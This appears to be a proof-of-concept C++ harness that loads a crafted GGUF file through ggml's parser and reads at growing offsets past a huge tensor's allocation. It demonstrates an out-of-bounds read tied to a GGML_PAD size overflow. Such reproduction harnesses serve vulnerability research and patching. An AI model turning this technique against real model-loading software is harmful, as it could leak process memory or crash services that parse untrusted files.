File size: 1,802 Bytes
7c993fa | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 | /*
* GGML_PAD Overflow Harness v3 - reads more data to go past allocation
*/
#include <cstdio>
#include <cstdlib>
extern "C" {
#include "ggml.h"
#include "gguf.h"
}
int main(int argc, char **argv) {
if (argc < 2) { fprintf(stderr, "Usage: %s <gguf>\n", argv[0]); return 1; }
struct ggml_context *ggml_ctx = NULL;
struct gguf_init_params params = {
/*.no_alloc =*/ false,
/*.ctx =*/ &ggml_ctx,
};
printf("[*] Loading %s with no_alloc=false...\n", argv[1]);
struct gguf_context *ctx = gguf_init_from_file(argv[1], params);
if (!ctx) {
printf("[-] Parser rejected file\n");
return 1;
}
int n = gguf_get_n_tensors(ctx);
printf("[+] Loaded %d tensors\n", n);
if (ggml_ctx) {
struct ggml_tensor *t = ggml_get_first_tensor(ggml_ctx);
while (t) {
printf("[*] Tensor '%s': ne[0]=%lld type=%d data=%p\n",
ggml_get_name(t), (long long)t->ne[0], t->type, t->data);
if (t->data && t->ne[0] > 1000) {
/* This is the huge tensor - read past the allocation */
printf("[*] Huge tensor detected! Attempting reads...\n");
unsigned char *p = (unsigned char *)t->data;
/* Try reading at increasing offsets */
size_t offsets[] = {0, 64, 128, 256, 512, 1024, 2048, 4096, 8192};
for (int i = 0; i < 9; i++) {
printf("[*] Read at data+%zu: ", offsets[i]);
fflush(stdout);
volatile unsigned char b = p[offsets[i]];
printf("0x%02x\n", b);
}
}
t = ggml_get_next_tensor(ggml_ctx, t);
}
ggml_free(ggml_ctx);
}
gguf_free(ctx);
return 0;
}
|